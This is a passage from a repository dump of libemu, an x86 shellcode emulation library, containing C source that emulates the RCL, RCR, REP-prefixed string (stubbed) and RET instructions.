\n\t\t * RCL r/m8,1     \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t 1);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d1_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /2    \n\t\t\t * Rotate 17 bits (CF,r/m16) left once\n\t\t\t * RCL r/m16,1    \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /2    \n\t\t\t * Rotate 33 bits (CF,r/m32) left once\n\t\t\t * RCL r/m32,1    \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t 1);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /2    \n\t\t\t * Rotate 17 bits (CF,r/m16) left once\n\t\t\t * RCL r/m16,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /2    \n\t\t\t * Rotate 33 bits (CF,r/m32) left once\n\t\t\t * RCL r/m32,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d2_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D2 /2    \n\t\t * Rotate nine bits (CF,r/m8) left CL times    \n\t\t * RCL r/m8,CL    \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D2 /2    \n\t\t * Rotate nine bits (CF,r/m8) left CL times    \n\t\t * RCL r/m8,CL    \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d3_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /2    \n\t\t\t * Rotate 17 bits (CF,r/m16) left CL times\n\t\t\t * RCL r/m16,CL   \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /2    \n\t\t\t * Rotate 33 bits (CF,r/m32) left CL times\n\t\t\t * RCL r/m32,CL\n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /2    \n\t\t\t * Rotate 17 bits (CF,r/m16) left CL times\n\t\t\t * RCL r/m16,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /2    \n\t\t\t * Rotate 33 bits (CF,r/m32) left CL times\n\t\t\t * RCL r/m32,CL\n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t}\n\n\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/rcr.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, b, cpu) \\\nUINTOF(bits) operation_result = (a); \\\nuint8_t operand_b = (b); \\\n{ \\\n\tif( operand_b == 1 ) \\\n\t{ \\\n\t\tif( (operation_result >> (bits - 1)) ^ (cpu->eflags >> f_cf) ) \\\n\t\t{ \\\n\t\t\tCPU_FLAG_SET(cpu, f_of); \\\n\t\t} \\\n\t\telse \\\n\t\t{ \\\n\t\t\tCPU_FLAG_UNSET(cpu, f_of); \\\n\t\t} \\\n\t} \\\n\toperand_b = (operand_b & 0x1f) % (sizeof(operation_result) * 8 + 1); \\\n\toperation_result = operation_result >> operand_b | operation_result << (bits - operand_b + 1); \\\n\tif( CPU_FLAG_ISSET(cpu, f_cf) && operand_b > 0 ) \\\n\t{ \\\n\t\toperation_result |= 1 << (bits - operand_b); \\\n\t} \\\n\tif( (a) & (1 << (operand_b - 1)) && operand_b > 0 ) \\\n\t{ \\\n\t\tCPU_FLAG_SET(cpu, f_cf); \\\n\t} \\\n\ta = operation_result; \\\n}\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \\\nINSTR_CALC(bits, a, b, cpu) \\\nINSTR_SET_FLAG_ZF(cpu) \\\nINSTR_SET_FLAG_PF(cpu) \\\nINSTR_SET_FLAG_SF(cpu)\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 631*/\n\n\nint32_t instr_group_2_c0_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\n\t\t/* C0 /3 ib \n\t\t * Rotate nine bits (CF,r/m8) right imm8 times\n\t\t * RCR r/m8,imm8  \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* C0 /3 ib \n\t\t * Rotate nine bits (CF,r/m8) right imm8 times\n\t\t * RCR r/m8,imm8  \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_c1_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /3 ib \n\t\t\t * Rotate 17 bits (CF,r/m16) right imm8 times\n\t\t\t * RCR r/m16,imm8 \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* C1 /3 ib \n\t\t\t * Rotate 33 bits (CF,r/m32) right imm8 times\n\t\t\t * RCR r/m32,imm8 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /3 ib \n\t\t\t * Rotate 17 bits (CF,r/m16) right imm8 times\n\t\t\t * RCR r/m16,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* C1 /3 ib \n\t\t\t * Rotate 33 bits (CF,r/m32) right imm8 times\n\t\t\t * RCR r/m32,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d0_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D0 /3\t \n\t\t * Rotate nine bits (CF,r/m8) right once                    \n\t\t * RCR r/m8,1     \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t 1);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D0 /3\t \n\t\t * Rotate nine bits (CF,r/m8) right once                    \n\t\t * RCR r/m8,1     \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t 1);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d1_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /3\t \n\t\t\t * Rotate 17 bits (CF,r/m16) right once              \n\t\t\t * RCR r/m16,1    \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /3\t \n\t\t\t * Rotate 33 bits (CF,r/m32) right once                     \n\t\t\t * RCR r/m32,1    \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t 1);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /3\t \n\t\t\t * Rotate 17 bits (CF,r/m16) right once              \n\t\t\t * RCR r/m16,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /3\t \n\t\t\t * Rotate 33 bits (CF,r/m32) right once                     \n\t\t\t * RCR r/m32,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d2_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D2 /3    \n\t\t * Rotate nine bits (CF,r/m8) right CL times                \n\t\t * RCR r/m8,CL    \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D2 /3    \n\t\t * Rotate nine bits (CF,r/m8) right CL times                \n\t\t * RCR r/m8,CL    \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_2_d3_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /3    \n\t\t\t * Rotate 17 bits (CF,r/m16) right CL times          \n\t\t\t * RCR r/m16,CL   \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /3    \n\t\t\t * Rotate 33 bits (CF,r/m32) right CL times                 \n\t\t\t * RCR r/m32,CL   \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /3    \n\t\t\t * Rotate 17 bits (CF,r/m16) right CL times          \n\t\t\t * RCR r/m16,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /3    \n\t\t\t * Rotate 33 bits (CF,r/m32) right CL times                 \n\t\t\t * RCR r/m32,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t}\n\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/repcc.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 645*/\n\n/*\nF2 A6 REPNE CMPS m8,m8   Find matching bytes in ES:[(E)DI] and DS:[(E)SI]\nF2 A7 REPNE CMPS m16,m16 Find matching words in ES:[(E)DI] and DS:[(E)SI]\nF2 A7 REPNE CMPS m32,m32 Find matching doublewords in ES:[(E)DI] and DS:[(E)SI]\nF2 AE REPNE SCAS m8      Find AL, starting at ES:[(E)DI]\nF2 AF REPNE SCAS m16     Find AX, starting at ES:[(E)DI]\nF2 AF REPNE SCAS m32     Find EAX, starting at ES:[(E)DI]\nF3 6C REP INS r/m8, DX   Input (E)CX bytes from port DX into ES:[(E)DI]                            \nF3 6D REP INS r/m16,DX   Input (E)CX words from port DX into ES:[(E)DI]                            \nF3 6D REP INS r/m32,DX   Input (E)CX doublewords from port DX into ES:[(E)DI]                      \nF3 6E REP OUTS DX,r/m8   Output (E)CX bytes from DS:[(E)SI] to port DX        \nF3 6F REP OUTS DX,r/m16  Output (E)CX words from DS:[(E)SI] to port DX        \nF3 6F REP OUTS DX,r/m32  Output (E)CX doublewords from DS:[(E)SI] to port DX  \nF3 A4 REP MOVS m8,m8     Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]                            \nF3 A5 REP MOVS m16,m16   Move (E)CX words from DS:[(E)SI] to ES:[(E)DI]                            \nF3 A5 REP MOVS m32,m32   Move (E)CX doublewords from DS:[(E)SI] to ES:[(E)DI]                      \nF3 A6 REPE CMPS m8,m8    Find nonmatching bytes in ES:[(E)DI] and DS:[(E)SI]\nF3 A7 REPE CMPS m16,m16  Find nonmatching words in ES:[(E)DI] and DS:[(E)SI]\nF3 A7 REPE CMPS m32,m32  Find nonmatching doublewords in ES:[(E)DI] and DS:[(E)SI]\nF3 AA REP STOS m8        Fill (E)CX bytes at ES:[(E)DI] with AL\nF3 AB REP STOS m16       Fill (E)CX words at ES:[(E)DI] with AX\nF3 AB REP STOS m32       Fill (E)CX doublewords at ES:[(E)DI] with EAX\nF3 AC REP LODS AL        Load (E)CX bytes from DS:[(E)SI] to AL\nF3 AD REP LODS AX        Load (E)CX words from DS:[(E)SI] to AX\nF3 AD REP LODS EAX       Load (E)CX doublewords from DS:[(E)SI] to EAX\nF3 AE REPE SCAS m8       Find non-AL byte starting at ES:[(E)DI]\nF3 AF REPE SCAS m16      Find non-AX word starting at ES:[(E)DI]\nF3 AF REPE SCAS m32      Find non-EAX doubleword starting at ES:[(E)DI]\n*/\n\nint32_t instr_repcc_f2a6(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* F2 A6 \n\t * Find matching bytes in ES:[(E)DI] and DS:[(E)SI]\n\t * REPNE CMPS m8,m8   \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f2a7(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F2 A7 \n\t * Find matching words in ES:[(E)DI] and DS:[(E)SI]\n\t * REPNE CMPS m16,m16 \n\t */\n\n\t/* F2 A7 \n\t * Find matching doublewords in ES:[(E)DI] and DS:[(E)SI]\n\t * REPNE CMPS m32,m32 \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f2ae(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F2 AE \n\t * Find AL, starting at ES:[(E)DI]\n\t * REPNE SCAS m8      \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f2af(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F2 AF \n\t * Find AX, starting at ES:[(E)DI]\n\t * REPNE SCAS m16     \n\t */\n\n\t/* F2 AF \n\t * Find EAX, starting at ES:[(E)DI]\n\t * REPNE SCAS m32     \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f36c(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 6C \n\t * Input (E)CX bytes from port DX into ES:[(E)DI]\n\t * REP INS r/m8, DX   \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f36d(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 6D \n\t * Input (E)CX words from port DX into ES:[(E)DI]\n\t * REP INS r/m16,DX   \n\t */\n\n\t/* F3 6D \n\t * Input (E)CX doublewords from port DX into ES:[(E)DI]\n\t * REP INS r/m32,DX   \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f36e(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 6E \n\t * Output (E)CX bytes from DS:[(E)SI] to port DX               \n\t * REP OUTS DX,r/m8   \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f36f(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 6F \n\t * Output (E)CX words from DS:[(E)SI] to port DX               \n\t * REP OUTS DX,r/m16  \n\t */\n\n\t/* F3 6F \n\t * Output (E)CX doublewords from DS:[(E)SI] to port DX         \n\t * REP OUTS DX,r/m32  \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f3a4(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 A4 \n\t * Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]\n\t * REP MOVS m8,m8     \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f3a5(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 A5 \n\t * Move (E)CX words from DS:[(E)SI] to ES:[(E)DI]\n\t * REP MOVS m16,m16   \n\t */\n\n\t/* F3 A5 \n\t * Move (E)CX doublewords from DS:[(E)SI] to ES:[(E)DI]\n\t * REP MOVS m32,m32   \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f3aa(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 AA \n\t * Fill (E)CX bytes at ES:[(E)DI] with AL\n\t * REP STOS m8        \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f3ab(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 AB \n\t * Fill (E)CX words at ES:[(E)DI] with AX\n\t * REP STOS m16       \n\t */\n\n\t/* F3 AB \n\t * Fill (E)CX doublewords at ES:[(E)DI] with EAX\n\t * REP STOS m32       \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f3ac(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 AC \n\t * Load (E)CX bytes from DS:[(E)SI] to AL\n\t * REP LODS AL        \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f3ad(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 AD \n\t * Load (E)CX words from DS:[(E)SI] to AX\n\t * REP LODS AX        \n\t */\n\n\t/* F3 AD \n\t * Load (E)CX doublewords from DS:[(E)SI] to EAX\n\t * REP LODS EAX       \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f3a6(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\n\t/* F3 A6 \n\t * Find nonmatching bytes in ES:[(E)DI] and DS:[(E)SI]\n\t * REPE CMPS m8,m8    \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f3a7(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 A7 \n\t * Find nonmatching words in ES:[(E)DI] and DS:[(E)SI]\n\t * REPE CMPS m16,m16  \n\t */\n\n\t/* F3 A7 \n\t * Find nonmatching doublewords in ES:[(E)DI] and DS:[(E)SI]\n\t * REPE CMPS m32,m32  \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f3ae(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 AE \n\t * Find non-AL byte starting at ES:[(E)DI]\n\t * REPE SCAS m8       \n\t */\n\treturn 0;\n}\n\nint32_t instr_repcc_f3af(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* F3 AF \n\t * Find non-AX word starting at ES:[(E)DI]\n\t * REPE SCAS m16      \n\t */\n\n\t/* F3 AF \n\t * Find non-EAX doubleword starting at ES:[(E)DI]\n\t * REPE SCAS m32      \n\t */\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/ret.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <inttypes.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\nint32_t instr_ret_c2(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{ \n\t/* C2 \n\t * Near return to calling procedure and pop imm16 bytes from stack\n\t * iw RET imm16  \n\t */\n\tPOP_DWORD(c, &c->eip);\n\n#if BYTE_ORDER == BIG_ENDIAN\n\tuint16_t val;\n\tbcopy(i->imm16, &val, 2);\n\tc->reg[esp] += val;\n#else\n\tc->reg[esp] += *i->imm16;\n#endif\t\n\treturn 0;\n}\n\nint32_t instr_ret_c3(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{ \n\t/* C3\n\t * Near return to calling procedure\n\t * RET        \n\t */\n\tPOP_DWORD(c, &c->eip);\n\t\n\treturn 0;\n}\n\nint32_t instr_ret_ca(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{ \t\n\t/* CA iw \n\t * Far return to calling procedure and pop imm16 bytes from stack\n\t * RET imm16  